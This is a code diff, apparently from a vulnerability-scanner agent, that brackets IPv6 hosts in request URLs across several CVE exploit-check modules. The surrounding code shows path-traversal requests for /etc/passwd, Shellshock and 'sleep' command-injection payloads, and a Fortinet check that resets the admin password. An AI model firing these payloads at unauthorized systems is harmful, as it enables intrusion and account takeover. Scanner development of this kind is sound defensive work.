Ensure requests to IPV6 are sent with square brackets

agent/definitions.py

@@ -5,6 +5,8 @@
 from ostorlab.agent.kb import kb
 from ostorlab.agent.mixins import agent_report_vulnerability_mixin as vuln_mixin
 
+from agent.exploits import common
+
 
 @dataclasses.dataclass
 class Target:
@@ -17,11 +19,13 @@ class Target:
 
     @property
     def url(self) -> str:
-        return f"{self.scheme}://{self.host}:{self.port}{self.path}"
+        host = common.prepare_host(self.host)
+        return f"{self.scheme}://{host}:{self.port}{self.path}"
 
     @property
     def origin(self) -> str:
-        return f"{self.scheme}://{self.host}:{self.port}"
+        host = common.prepare_host(self.host)
+        return f"{self.scheme}://{host}:{self.port}"
 
 
 @dataclasses.dataclass

agent/exploits/common.py

@@ -0,0 +1,28 @@
+"""Common utilities for the exploits."""
+import ipaddress
+
+
+def _is_ipv6(ip: str) -> bool:
+    """Check if the provided IP is an IPv6 address.
+    Args:
+        ip: The IP address to check.
+    Returns:
+        True if the IP is an IPv6 address, False otherwise.
+    """
+    try:
+        ipaddress.IPv6Address(ip)
+        return True
+    except ipaddress.AddressValueError:
+        return False
+
+
+def prepare_host(host: str) -> str:
+    """Prepare the host for the request.
+    Args:
+        host: The host to prepare.
+    Returns:
+        The prepared host.
+    """
+    if _is_ipv6(host) is True:
+        return f"[{host}]"
+    return host

agent/exploits/cve_2014_0780.py

@@ -31,9 +31,8 @@ def accept(self, target: definitions.Target) -> bool:
         session = requests.Session()
         session.max_redirects = MAX_REDIRECTS
         session.verify = False
-        target_uri = f"{target.scheme}://{target.host}:{target.port}"
         try:
-            session.get(target_uri, timeout=DEFAULT_TIMEOUT)
+            session.get(target.origin, timeout=DEFAULT_TIMEOUT)
         except requests_exceptions.RequestException:
             return False
         return True
@@ -42,11 +41,10 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
         session = requests.Session()
         session.max_redirects = MAX_REDIRECTS
         session.verify = False
-        target_uri = f"{target.scheme}://{target.host}:{target.port}"
         file_names = ["boot.ini", "etc/passwd"]
         for file_name in file_names:
             levels = "../" * DEPTH
-            url = target_uri + f"/{levels}{file_name}"
+            url = target.origin + f"/{levels}{file_name}"
 
             try:
                 r = requests.Request(method="GET", url=url)
@@ -87,7 +85,7 @@ def _create_vulnerability(
             targeted_by_nation_state=True,
         )
         technical_detail = (
-            f"{target.scheme}://{target.host}:{target.port} is vulnerable to {VULNERABILITY_REFERENCE}, "
+            f"{target.origin} is vulnerable to {VULNERABILITY_REFERENCE}, "
             f"{VULNERABILITY_TITLE}"
         )
         vulnerability = definitions.Vulnerability(

agent/exploits/cve_2014_7169.py

@@ -38,22 +38,20 @@ def accept(self, target: definitions.Target) -> bool:
         session.verify = False
         if target.path.endswith(".cgi") is False:
             return False
-        target_uri = f"{target.scheme}://{target.host}:{target.port}{target.path}"
         try:
-            resp = session.get(target_uri, timeout=DEFAULT_TIMEOUT)
+            resp = session.get(target.url, timeout=DEFAULT_TIMEOUT)
         except requests_exceptions.RequestException:
             return False
         return resp.status_code == 200
 
     def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
         session = requests.Session()
         session.max_redirects = MAX_REDIRECTS
-        target_uri = f"{target.scheme}://{target.host}:{target.port}{target.path}"
         for delay in DELAYS:
             payload = PAYLOAD_TEMPLATE % delay
             try:
                 resp = session.get(
-                    target_uri,
+                    target.url,
                     headers={
                         "User-Agent": payload,
                         "Referer": payload,
@@ -66,7 +64,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
             if elapsed < delay or elapsed - delay > MAX_DELAY_DIFFERENCE:
                 return []
 
-        vulnerability = self._generate_vulnerability_object(target_uri)
+        vulnerability = self._generate_vulnerability_object(target.url)
         return [vulnerability]
 
     def _generate_vulnerability_object(

agent/exploits/cve_2016_2386.py

@@ -7,7 +7,6 @@
 from ostorlab.agent.mixins import agent_report_vulnerability_mixin
 from packaging import version
 from requests import exceptions as requests_exceptions
-
 from agent import definitions
 from agent import exploits_registry
 

agent/exploits/cve_2018_10561.py

@@ -27,9 +27,8 @@ def accept(self, target: definitions.Target) -> bool:
         session = requests.Session()
         session.max_redirects = MAX_REDIRECTS
         session.verify = False
-        target_uri = f"{target.scheme}://{target.host}:{target.port}"
         try:
-            session.get(target_uri, timeout=DEFAULT_TIMEOUT)
+            session.get(target.origin, timeout=DEFAULT_TIMEOUT)
         except requests_exceptions.RequestException:
             return False
 
@@ -40,7 +39,6 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
         session = requests.Session()
         session.max_redirects = MAX_REDIRECTS
         session.verify = False
-        target_uri = f"{target.scheme}://{target.host}:{target.port}"
         data = {
             "XWebPageName": "diag",
             "diag_action": "ping",
@@ -52,20 +50,22 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
 
         try:
             session.post(
-                target_uri + "/GponForm/diag_Form?images/",
+                target.origin + "/GponForm/diag_Form?images/",
                 data=data,
                 timeout=DEFAULT_TIMEOUT,
             )
             response = session.get(
-                target_uri + "/diag.html?images/",
+                target.origin + "/diag.html?images/",
                 timeout=DEFAULT_TIMEOUT,
             )
         except requests_exceptions.RequestException:
             return []
         if "diag_result" not in response.text:
             return []
 
-        vulnerability = self._generate_vulnerability_object(target_uri, response.text)
+        vulnerability = self._generate_vulnerability_object(
+            target.origin, response.text
+        )
         return [vulnerability]
 
     def _generate_vulnerability_object(

agent/exploits/cve_2018_13382.py

@@ -32,7 +32,7 @@ def accept(self, target: definitions.Target) -> bool:
         session.max_redirects = MAX_REDIRECTS
         session.verify = False
         try:
-            url = f"{target.scheme}://{target.host}:{target.port}/remote/login?lang=en"
+            url = f"{target.origin}/remote/login?lang=en"
             r = session.get(url, headers=HEADERS, timeout=DEFAULT_TIMEOUT)
         except requests.exceptions.RequestException:
             return False
@@ -42,7 +42,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
         session = requests.Session()
         session.max_redirects = MAX_REDIRECTS
         session.verify = False
-        url = f"{target.scheme}://{target.host}:{target.port}/remote/login?lang=en"
+        url = f"{target.origin}/remote/login?lang=en"
         # we are trying to change the password for the user : admin
         data = {
             "ajax": "1",
@@ -94,7 +94,7 @@ def _create_vulnerability(
             targeted_by_nation_state=True,
         )
         technical_detail = (
-            f"{target.scheme}://{target.host}:{target.port} is vulnerable to CVE-2018-13382 : the admin user's"
+            f"{target.origin} is vulnerable to CVE-2018-13382 : the admin user's"
             f" password being changed to `ChangePassword`."
         )
         vulnerability = definitions.Vulnerability(

agent/exploits/cve_2018_14558.py

@@ -32,27 +32,25 @@ def accept(self, target: definitions.Target) -> bool:
         session = requests.Session()
         session.max_redirects = MAX_REDIRECTS
         session.verify = False
-        target_uri = f"{target.scheme}://{target.host}:{target.port}"
         try:
-            resp = session.get(target_uri, timeout=DEFAULT_TIMEOUT)
+            resp = session.get(target.origin, timeout=DEFAULT_TIMEOUT)
         except requests_exceptions.RequestException:
             return False
         return resp.status_code == 200
 
     def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
         session = requests.Session()
         session.max_redirects = MAX_REDIRECTS
-        target_uri = f"{target.scheme}://{target.host}:{target.port}"
         for delay in DELAYS:
             try:
-                resp = session.get(target_uri + TARGET_PATH + f"sleep {delay}")
+                resp = session.get(target.origin + TARGET_PATH + f"sleep {delay}")
             except requests_exceptions.RequestException:
                 return []
             elapsed = resp.elapsed.seconds
             if elapsed < delay or elapsed - delay > MAX_DELAY_DIFFERENCE:
                 return []
 
-        vulnerability = self._generate_vulnerability_object(target_uri)
+        vulnerability = self._generate_vulnerability_object(target.origin)
         return [vulnerability]
 
     def _generate_vulnerability_object(

agent/exploits/cve_2018_7841.py

@@ -31,23 +31,21 @@ def accept(self, target: definitions.Target) -> bool:
         session = requests.Session()
         session.max_redirects = MAX_REDIRECTS
         session.verify = False
-        target_uri = f"{target.scheme}://{target.host}:{target.port}"
         try:
-            resp = session.get(target_uri, timeout=DEFAULT_TIMEOUT)
+            resp = session.get(target.origin, timeout=DEFAULT_TIMEOUT)
         except requests_exceptions.RequestException:
             return False
         return resp.status_code == 200
 
     def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
         session = requests.Session()
         session.max_redirects = MAX_REDIRECTS
-        target_uri = f"{target.scheme}://{target.host}:{target.port}"
 
         for delay in DELAYS:
             data = f"op=export&language=english&interval=1&object_id=`sleep {delay}`"
             try:
                 resp = session.post(
-                    target_uri + TARGET_ENDPOINT,
+                    target.origin + TARGET_ENDPOINT,
                     timeout=DEFAULT_TIMEOUT,
                     data=data,
                 )
@@ -57,7 +55,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
             if elapsed < delay or elapsed - delay > MAX_DELAY_DIFFERENCE:
                 return []
 
-        vulnerability = self._create_vulnerability(target_uri)
+        vulnerability = self._create_vulnerability(target.origin)
         return [vulnerability]
 
     def _create_vulnerability(self, target_uri: str) -> definitions.Vulnerability:

agent/exploits/cve_2019_12989__cve_2019_12991.py

@@ -31,9 +31,8 @@ def accept(self, target: definitions.Target) -> bool:
         session = requests.Session()
         session.max_redirects = MAX_REDIRECTS
         session.verify = False
-        target_uri = f"{target.scheme}://{target.host}:{target.port}"
         try:
-            session.get(target_uri, timeout=DEFAULT_TIMEOUT)
+            session.get(target.origin, timeout=DEFAULT_TIMEOUT)
         except requests_exceptions.RequestException:
             return False
         return True
@@ -43,7 +42,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
         session.max_redirects = MAX_REDIRECTS
         session.verify = False
         url = (
-            f"{target.scheme}://{target.host}:{target.port}"
+            f"{target.origin}"
             f"/sdwan/nitro/v1/config/get_package_file?action=file_download"
         )
         # The generated random number might be relatively small, possibly leading to false positive
@@ -113,8 +112,7 @@ def _create_vulnerability(
             targeted_by_nation_state=True,
         )
         technical_detail = (
-            f"{target.scheme}://{target.host}:{target.port} is vulnerable to "
-            f"CVE-2019-12989 and CVE-2019-12991"
+            f"{target.origin} is vulnerable to " f"CVE-2019-12989 and CVE-2019-12991"
         )
         vulnerability = definitions.Vulnerability(
             entry=entry,

agent/exploits/cve_2019_7193.py

@@ -32,9 +32,8 @@ def accept(self, target: definitions.Target) -> bool:
         session = requests.Session()
         session.max_redirects = MAX_REDIRECTS
         session.verify = False
-        target_uri = f"{target.scheme}://{target.host}:{target.port}"
         try:
-            resp = session.get(target_uri + "/cgi-bin/", timeout=DEFAULT_TIMEOUT)
+            resp = session.get(target.origin + "/cgi-bin/", timeout=DEFAULT_TIMEOUT)
         except requests_exceptions.RequestException:
             return False
         return resp.status_code == 200
@@ -43,11 +42,10 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
         session = requests.Session()
         session.max_redirects = MAX_REDIRECTS
         session.verify = False
-        target_uri = f"{target.scheme}://{target.host}:{target.port}"
         try:
             # Get album id
             resp = session.post(
-                target_uri + "/photo/p/api/album.php",
+                target.origin + "/photo/p/api/album.php",
                 data={"a": "setSlideshow", "f": "qsamplealbum"},
                 headers=HEADERS,
                 timeout=DEFAULT_TIMEOUT,
@@ -62,7 +60,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
         try:
             # Get access code
             resp = session.get(
-                target_uri + "/photo/slideshow.php?album=" + album_id,
+                target.origin + "/photo/slideshow.php?album=" + album_id,
                 headers=HEADERS,
                 timeout=DEFAULT_TIMEOUT,
             )
@@ -85,7 +83,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
         }
         try:
             resp = session.post(
-                target_uri + "/photo/p/api/video.php",
+                target.origin + "/photo/p/api/video.php",
                 data=post_data,
                 headers=HEADERS,
                 timeout=DEFAULT_TIMEOUT,
@@ -96,7 +94,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
         if b"/bin/sh" not in resp.content:
             return []
 
-        vulnerability = self._create_vulnerability(target_uri)
+        vulnerability = self._create_vulnerability(target.origin)
         return [vulnerability]
 
     def _create_vulnerability(self, target_uri: str) -> definitions.Vulnerability: